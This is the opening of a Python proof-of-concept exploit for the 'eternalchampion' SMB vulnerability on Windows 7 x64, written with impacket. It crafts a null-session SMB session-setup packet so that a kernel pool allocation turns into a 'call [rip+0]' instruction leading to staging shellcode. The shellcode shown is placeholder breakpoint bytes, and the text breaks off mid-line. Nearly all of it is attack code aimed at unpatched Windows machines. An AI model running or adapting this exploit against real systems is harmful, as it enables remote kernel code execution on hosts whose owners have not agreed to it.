#!/usr/bin/python from impacket import smb from mysmb import MYSMB from struct import pack, unpack import sys ''' PoC: demonstrates how NSA eternalchampion works Note: - this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors - no support user authentication - the NSA eternalchampion need named pipe or share name to leak info with NT_TRANS_RENAME - the required data for Windows is CONNECTION address. A CONNECTION struct has UNICODE_STRING which size is controlled by SMB_COM_SESSION_SETUP_ANDX command ''' if len(sys.argv) != 3: print("{} ".format(sys.argv[0])) sys.exit(1) target = sys.argv[1] pipe_name = sys.argv[2] # this one must do something to restore execution # Note: when stagine shellcode is executed, CONNECTION+0x3d0 is at top of stack staging_sc = '\xcc'*128 def login_put_staging_sc(conn, staging_sc, maxBufferSize): _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 flags2 |= smb.SMB.FLAGS2_UNICODE conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session # UnicodePasswordLen field is in Reserved for extended security format. sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS # allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes) # UNICODE.maxBufferSize: 0x15ff # after maxBufferSize is padding which is '\x00'*4 # so code is 'ff 15 00 00 00 00' => call [rip+0] # after padding is pointer to allocated npp and shellcode there sessionSetup['Data'] = pack('